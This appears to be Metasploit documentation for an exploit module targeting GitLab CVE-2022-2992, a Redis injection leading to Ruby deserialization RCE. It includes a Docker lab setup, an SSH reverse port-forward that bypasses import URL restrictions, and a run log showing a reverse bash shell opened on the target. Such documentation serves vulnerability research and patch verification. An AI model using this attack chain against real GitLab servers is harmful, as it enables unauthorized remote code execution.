## Vulnerable Application

### Description

An authenticated user can import a repository from GitHub into GitLab.

When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
including built-in methods such as `to_s`.

The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
redis commands to the stream.

On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).

The following products are affected:

- From 11.10 to 15.1.6
- From 15.2 to 15.2.4
- From 15.3 to 15.3.2


### Exploitation

This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
execute a deserialization gadget and trigger the payload.

To achieve that this module:
- Will generate an universal Ruby deserialization gadget payload;
- Will create an access token for the user targeted;
- Will start a server to emulate GitHub and serve the payload to be injected;
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
- Will perform a request using the just injected session ID that when loaded must trigger the payload.

After the execution the cleanup method will be called and:
- Should delete the created group and consequently the repository
- Should revoke the access token created
- Should logout the user

### Setup

Create a `docker-compose.yml` file as below:

```yml
services:
  gitlab:
    image: 'gitlab/gitlab-ee:15.3.1-ee.0'
    restart: always
    container_name: gitlab
    hostname: 'gitlab.example'
    network_mode: "bridge"
    ports:
      - '880:80'
      - '8443:443'
    volumes:
      - gitlab_config:/etc/gitlab
      - gitlab_logs:/var/log/gitlab
      - gitlab_data:/var/opt/gitlab
volumes:
  gitlab_config:
    driver: local
  gitlab_logs:
    driver: local
  gitlab_data:
    driver: local
```

Run the below command to create the container:

```
$ docker-compose up
```

Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.

```
$ # Creating personal access token for the root user
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
$ # Using the personal access token from the root user a user.
$ USER=msf
$ PASSWORD=SuperStrongestGitLabPassword
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
```

## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

### TARGETURI (required)

The path to the GitLab (Default: `/`).

### USERNAME (required)

The username of the target user to authenticate with.

### PASSWORD (required)

The password of the target user to authenticate with.

### SRVHOST (required)

The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

### SRVPORT (required)

The local port to listen on. This is the port to be used when creating the tunnel.

### URIHOST

Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
through it, so it is important to use a host that is considered to be trustworthy.**

## Scenarios

### Docker container running GitLab 15.3.1

The following example uses the following three hosts:

* 192.168.159.128 -- The target GitLab server
* 192.168.250.134 -- The host on which Metasploit is running
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
  tunneled in order to bypass GitLab restrictions.

External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
address.

If the target GitLab server can not import from the specified URL (for example because the host is a private IP
address), then the module will throw this error:

```
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
```

```
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options

Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):

   Name          Current Setting          Required  Description
   ----          ---------------          --------  -----------
   IMPORT_DELAY  5                        yes       Time to wait from the import task before try to trigger the payload
   PASSWORD      Password1!               yes       The password for the specified username
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.159.128          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         880                      yes       The target port (TCP)
   SRVHOST       0.0.0.0                  yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8088                     yes       The local port to listen on.
   SSL           false                    no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                        yes       The base path to the gitlab application
   URIHOST       ext.msflab.local         no        Host to use in GitHub import URL
   URIPATH                                no        The URI to use for this exploit (default is random)
   USERNAME      smcintyre                yes       The username to authenticate as
   VHOST                                  no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
[*] Using URL: http://ext.msflab.local:8088/
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
id
[*] Server stopped.

uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-rails/working
exit
[*] 192.168.159.128 - Command shell session 1 closed.
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
```
